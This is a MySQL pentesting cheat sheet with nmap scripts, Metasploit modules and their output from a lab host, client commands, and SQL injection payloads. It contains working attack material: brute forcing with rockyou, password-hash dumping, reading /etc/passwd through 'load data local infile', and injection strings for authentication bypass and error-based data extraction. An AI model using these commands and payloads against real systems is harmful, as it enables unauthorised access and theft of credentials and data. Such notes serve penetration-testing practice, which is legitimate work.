3306 - Pentesting mysql

MySQL is a popular open-source relational database management system (RDBMS). It is used for storing, organizing, and retrieving large amounts of data in a structured manner. MySQL is known for its reliability, flexibility, and performance, making it suitable for a wide range of applications, including web-based applications, data warehousing, and business intelligence.

nmap

sudo nmap -Pn -sV -sC -vv -p 3306 $IP

sudo nmap -vv -p 3306 --script=mysql-enum $IP
sudo nmap -vv -p 3306 --script=mysql-audit $IP
sudo nmap -vv -p 3306 --script=mysql-brute $IP
sudo nmap -vv -p 3306 --script=mysql-databases $IP
sudo nmap -vv -p 3306 --script=mysql-dump-hashes $IP --script-args='username=root,password=password'
sudo nmap -vv -p 3306 --script=mysql-empty-password $IP
sudo nmap -vv -p 3306 --script=mysql-info $IP
sudo nmap -vv -p 3306 --script=mysql-query $IP
sudo nmap -vv -p 3306 --script=mysql-users $IP
sudo nmap -vv -p 3306 --script=mysql-variables $IP
sudo nmap -vv -p 3306 --script=mysql-vuln-cve2012-2122 $IP

metasploit

version

use auxiliary/scanner/mysql/mysql_version
set RHOSTS 10.0.2.8
run
|->
10.0.2.8:3306 is running MySQL 5.0.51a-3ubuntu5

enumerating

use auxiliary/admin/mysql/mysql_enum
set RHOSTS 10.0.2.8
run
|->
MySQL Version: 5.0.51a-3ubuntu5      
Compiled for the following OS: debian-linux-gnu
Architecture: i486                                             
Server Hostname: metasploitable                              
Data Directory: /var/lib/mysql/      
Logging of queries and logins: OFF         
Old Password Hashing Algorithm OFF                           
Loading of local files: ON                  
Deny logins with old Pre-4.1 Passwords: OFF
Allow Use of symlinks for Database Files: YES                
Allow Table Merge: YES                      
SSL Connections: Enabled                            
SSL CA Certificate: /etc/mysql/cacert.pem
SSL Key: /etc/mysql/server-key.pem          
SSL Certificate: /etc/mysql/server-cert.pem

files enum

use auxiliary/scanner/mysql/mysql_file_enum
set RHOSTS 10.0.2.8
set FILE_LIST /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
run
|->
/etc/passwd is a file and exists
/etc/hosts is a file and exists

login bruteforce

use auxiliary/scanner/mysql/mysql_login
set RHOSTS 10.0.2.8
set PASS_FILE /usr/share/wordlists/rockyou.txt
set STOP_ON_SUCCESS true
run
|->
10.0.2.8:3306 - Success: 'root:'

other

msf> use auxiliary/admin/mysql/mysql_sql
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump -> Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump -> Creds
msf> use exploit/windows/mysql/mysql_start_up -> Execute commands Windows, Creds

mysql client

install mysql client

sudo apt install default-mysql-client

local

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
mysql --user=root --password=password

not-interactive mode - just execute query

mysql --user="drifter" --password="imjustdrifting31" -e "show databases"
mysql --user="drifter" --password="imjustdrifting31" -D "textpattern_db" -e "show tables"

remote

mysql -h $IP -u root
mysql -h $IP -u root@localhost
mysql -h $IP --user=root --password=password

remote + proxychains

proxychains -q mysql -h $IP

mysql commands

show databases;
use <database-name>;
show tables;
select * from <table-name>

mysql arbitrary read file by client

mysql> load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

sql injection

x' or 1=1 -- x
x' or (1=1 and username='admin') -- x
x' or (1=1 and (SELECT count(*) FROM users) = 1) -- x
x'; SELECT CAST(password AS DATE) FROM users; -- x

version

SELECT @@version

tables

SELECT null,table_name,null FROM information_schema.tables WHERE table_schema = 'sqli_one'

SELECT null,GROUP_CONCAT(DISTINCT CONCAT(table_name)),null FROM information_schema.tables WHERE table_schema = 'sqli_one'

columns

SELECT null,column_name,null FROM information_schema.columns WHERE table_name = 'staff_users'

get value with error

SELECT null, extractvalue(1, concat('=', 'That will be returned as error')),null

SELECT null, extractvalue(1, concat('=', (SELECT GROUP_CONCAT(DISTINCT CONCAT(table_name)) FROM information_schema.tables WHERE table_schema = 'sqli_one'))),null

function

Name	Description
BENCHMARK()	Repeatedly execute an expression
CHARSET()	Return the character set of the argument
COERCIBILITY()	Return the collation coercibility value of the string argument
COLLATION()	Return the collation of the string argument
CONNECTION_ID()	Return the connection ID (thread ID) for the connection
CURRENT_USER()	, CURRENT_USER The authenticated user name and host name
DATABASE()	Return the default (current) database name
FOUND_ROWS()	For a SELECT with a LIMIT clause, the number of rows that would be returned were there no LIMIT clause
LAST_INSERT_ID()	Value of the AUTOINCREMENT column for the last INSERT
ROW_COUNT()	The number of rows updated
SCHEMA()	Synonym for DATABASE()
SESSION_USER()	Synonym for USER()
SYSTEM_USER()	Synonym for USER()
USER()	The user name and host name provided by the client
VERSION()	Return a string that indicates the MySQL server version